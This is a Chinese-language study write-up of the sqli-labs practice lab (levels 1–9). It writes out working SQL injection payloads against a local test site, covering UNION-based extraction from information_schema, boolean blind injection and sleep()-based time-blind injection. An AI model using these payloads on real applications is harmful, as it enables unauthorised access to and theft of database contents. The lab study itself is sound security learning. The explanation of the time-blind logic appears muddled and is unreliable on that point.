【sqli-labs】学习--待续
预备知识:
- 
数字型注入: 这种sql语句中处理的是整型,不需要使用单引号来闭合变量的值。 首先输入id=1',此时因为不是整型,sql语句会执行出错,抛出异常。 然后输入id=1 and 1=1,此时语句正常执行,页面无反应。 最后输入id=1 and 1=2,此时语句正常执行,但是查询不到结果,返回数据跟原始网页存在差距 以上三点,基本可以证明为数字型注入。 
- 
字符型注入: 
 首先输入admin’,因为本身存在引号闭合,所以多了一个引号,执行出错。加上注释符号,mysql存在三种注释符号:-- # /**/(其中--要求和注释文字之间要有空格符,所以一般用--+),比如输入admin' --+成功,改成 admin' and 1=2 --则会报错 因此基本可以判断为字符型注入。 字符型对数字不敏感,id='1 and 1=2',也会继续执行id='1'的结果 
Less-1:
- 
输入id,有回显:  说明存在select * from xxx where id='$id' 
- 
输入引号有报错,说明引号被sql语句执行了:  limit 0,1表示从第0行开始提取一个数据。 
- 
输入id=1'--+,执行成功,说明是字符注入,sql语句中闭合的引号被--+注释了。  
- 
接下来看表中有几列数据 order by 3显示正常:  order by 4显示错误:  说明表中存在三列数据,因为没有第四列,不能根据第四列进行排序。 
- 
接下来查看回显位在哪 因为页面上的显示并不显示查询到的所有列,只有其中一两列。 输入id =444 'union select 1,2,3 --+:  可见回显位为第二列和第三列,id=444是为了使得union前面的查询结果为NULL。 
- 
开始查询数据库名以及表名 - 
查询数据库: union select 1,database(),3 说明数据库名为security。 
- 
sql 5.0以上版本中存在information_schema()数据库,其中保存了所有数据库的信息 : union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security') 可见表名为emails,referers,uagents,users。其中group_concat()用于将所有结果列出。 
- 
查询列名: select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') 可见几个列名。 
- 
查询用户名: select 1,2,(select group_concat(username) from security.users) 
- 
密码:  
 
- 
Less-2:
- 
1有回显,1 and 1=1有回显,1 and 1=2显示如下:  可见是数字型注入。 
- 
那么下面的步骤只需要直接在id号后面进行union即可。原理同上,不再赘述。 
Less-3:
- 
测试可得到id=(''),因此只要将语句改成: id=66') union select 1,2,3--+后面同上。 
Less-4:
- 
直接测试id=1",可见报错:  
- 
说明后端代码中sql语句应该为id=(""),所以只要将语句改成: 66") union select 1,2,3 --+
Less-5:
- 
测试id=1 显示正常:  
- 
测试id=1'显示错误:  
- 
测试id=1'--+显示正常:  至此基本上可以确定为字符型注入,单引号闭合,并且没有回显。 
- 
测试id=6,没有输出,因此为布尔盲注:  
- 
判断列数为4列:   
- 
查询数据库名第一个字母: http://127.0.0.1/sql/Less-5/?id=1' and left((select database()),1)<'t'--+ #left((select database()),1)用于分离查询结果的第一个字母,使用二分法查找可见数据库第一个字母小于t。  输入>t时查询显示错误:  
- 
爆破表名,在爆破第四个表名时,发现为users: http://127.0.0.1/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),2)='us'--+ #limit 3,1用于限制此时为第四个表后续则同样从information_schema中查询即可。 
Less-6
- 
输入id=1",显示错误:  当输入1"--+时显示正确,说明是双引号闭合的字符型注入。 
- 
后面同上即可 
Less-7
- 
输入id=1"--+,可得为字符型注入:  可以使用布尔盲注,题目要求使用outfile 
- 
描述一下数据库file和into/outfile命令 数据库file权限用于限定用户向OS写入和读取文件的权限, into/outfile命令用于对文件的读写 
Less-9
- 
首先判断为字符注入:  
- 
然后测试1',1'--+等全返回一样,所以尝试时间盲注 只有输入:http://127.0.0.1/sql/Less-9/?id=6' and sleep(10)--+时才有延迟, 输入:http://127.0.0.1/sql/Less-9/?id=6 and sleep(10)--+时没有延迟
- 
爆破表名: 输入: http://127.0.0.1/sql/Less-9/?id=6' and sleep(10) and left((select database()),1)>'t'--+ 此时不会延迟,说明数据库名第一个字母<t,因为语句执行错误,不会执行到sleep(10)剩下同less-5。 

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号